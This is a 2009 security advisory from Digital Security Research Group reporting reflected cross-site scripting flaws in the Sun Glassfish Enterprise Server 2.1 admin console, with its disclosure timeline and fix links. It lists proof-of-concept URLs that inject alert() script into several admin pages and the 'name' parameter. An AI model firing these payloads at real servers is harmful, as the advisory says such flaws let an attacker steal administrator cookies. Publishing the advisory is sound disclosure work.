Services Vulnerabilities Exploits Publications News Blog About DSecRG


[DSECRG-09-034] Sun Glassfish Enterprise Server - Multiple Linked XSS vulnerabilies

Glassfish Enterprise Server Admin Console has multiple linked XSS vulnerabilities.

Application: Sun Glassfish Enterprise Server
Versions Affected: 2.1
Vendor URL: https://glassfish.dev.java.net/
Bug: Multiple Linked XSS Vulnerabilities
Exploits: YES
Reported: 19.03.2009
Vendor response: 20.03.2009
Solution: YES
Date of Public Advisory: 05.05.2009
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Details
*******

Using this vulnerability an attacker can steal administrator's cookie and then
authenticate as administrator or perform certain administrative
actions.

1. Multiple Linked XSS vulnerabilities.

Many pages have typical XSS vulnerability.

An attacker can inject XSS in URL string.

Example:

http://[server]/applications/applications.jsf?');};alert("DSecRG_XSS");</script><!--
http://[server]/configuration/configuration.jsf?');};alert("DSecRG_XSS");</script><!--
http://[server]/customMBeans/customMBeans.jsf?');};alert("DSecRG_XSS");</script><!--
http://[server]/resourceNode/resources.jsf?');};alert("DSecRG_XSS");</script><!--
http://[server]/sysnet/registration.jsf?');};alert("DSecRG_XSS");</script><!--
http://[server]/webService/webServicesGeneral.jsf?');};alert("DSecRG_XSS");</script><!--

Response HTML Code:
-------------------
#################################################

...
<script type="text/javascript">
var myonload = new Object();
myonload.oldonload = window.onload;
myonload.newonload = function() {
if ('/applications/applications.jsf?');};alert("DSecRG_XSS");</script><!--' != '') {
...

#################################################


2. Multiple Linked XSS vulnerabilities in GET parameter "name".

Many pages have typical XSS vulnerability in GET parameter "name".

An attacker can inject XSS in URL string.

Example:

http://[server]/configuration/auditModuleEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>
http://[server]/configuration/httpListenerEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>&configName=server-config
http://[server]/resourceNode/jdbcResourceEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>



Solution
********

These security vulnerabilities are fixed in CVS.

The following links is to be used for all the changes fixing these issues:

https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29669
https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29668
https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29675



Credits
*******

http://www.nabble.com/Re:--DSECRG--Sun-Glassfish-Multiple-Security-Vulnerabilities-p23002524.html



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.dsec.ru

Vulnerabilities RSS RSS
21.03.2012
[DSECRG-12-019] vCenter Orchestrator - password disclosure

22.02.2012
[DSECRG-12-018] Oracle Application Server - multiple security vulnerabilities

17.02.2012
[DSECRG-12-017] ASUS Net4Switch ipswcom.dll ActiveX - buffer overflow vulnerability

17.02.2012
[DSECRG-12-016] SAP MessagingSystem - information disclosure

17.02.2012
[DSECRG-12-014] SAP Internet Sales - XSS

17.02.2012
[DSECRG-12-015] SAP Adapter Monitor - information disclosure

Vulnerabilities list


© 2002—2014, ERPScan
For quoting or using materials from this site
link is obligatory

+44 (20) 81334493    e-mail: research@dsecrg.com
Rss: Vulnerabilities, Exploits, News, Publications, Summary
Search